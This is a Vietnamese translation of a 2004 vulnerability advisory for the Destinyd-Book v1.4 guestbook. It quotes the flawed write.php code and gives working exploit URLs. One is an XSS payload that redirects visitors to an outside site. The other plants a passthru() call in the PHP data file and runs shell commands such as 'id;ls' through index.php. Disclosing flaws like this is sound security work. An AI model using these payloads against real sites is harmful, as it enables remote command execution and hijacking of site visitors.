Lỗi XSS và lỗi thực thi lệnh trong Destinyd-Book v1.4

Tác giả : Frontal Attack <x64rst_@_mail.ru>
Sản phẩm: Destinyd-Book v1.4
URL:http://www.destinyd.com
Ngày 17/01/2004
Người Dịch : BìnhTriệu - www.security.com.vn
###########################

script write.php sau không lọc mảng(ma trận),như là 1 kết quả form code,chứa đựng php,
java script.

............................
if($data)
{
$newtext == stripslashes($newtext);
fputs($data, "<? \n \$name[] = \"$newname\"; \n" . "\$email[] =
\"$newemail\";\n");
fputs($data, "\$pagename[] = \"$newpagename\"; \n" . "\$pageurl[] =
\"$newpageurl\";\n" . "\$text[] = \"$newtext\";\n");
fputs($data, "\$datum[] = \"$date\";\n");
fclose($data);
}
$data = fopen("data/data.dat", "a");
$count = "0";
$max--;

while($name[$count] != "")
{
$text[$count] == stripslashes($text[$count]);
fputs($data, "\$name[] = \"$name[$count]\";\n");
fputs($data, "\$email[] = \"$email[$count]\";\n");
fputs($data, "\$pagename[] = \"$pagename[$count]\";\n");
fputs($data, "\$pageurl[] = \"$pageurl[$count]\";\n");
fputs($data, "\$text[] = \"$text[$count]\";\n");
fputs($data, "\$datum[] = \"$datum[$count]\";\n");
$count++;
if($count == $max)
{
break;
}
}
.....................................

*Khai thác:
---------------

a)Lỗi XSS:

www.site.com/guestbook/write.php?entry=ok&newname=vagner&newemail=vagner@hotbox.com&newtext=Speed
news text
please!&name[]=Bill&email[]=Bill@microsoft.com&pageurl[]=http://&text[]=hi<script>alert('Hello
From
x64rst@mail.ru');document.location=%27http://www.jopa.ru%27;%3C/script%3E&datum[]=07.11.2003 @
22:07

b)Lỗi cho phép thực thi các dòng lệnh:

www.site.com/guestbook/write.php?entry=ok&newname=vagner&newemail=vagner@hotbox.com&newtext=Speed
news text
please!&name[]=Bill&email[]=Bill@microsoft.com&pageurl[]=http://";%20if($pagename[0]!="")%20{passthru("$pagename[0]");}%20$X64rst="&text[]=Hi
you site very good!&datum[]=07.11.2003 @ 22:07

2. www.site.com/guestbook/index.php?pagename[0]=id;ls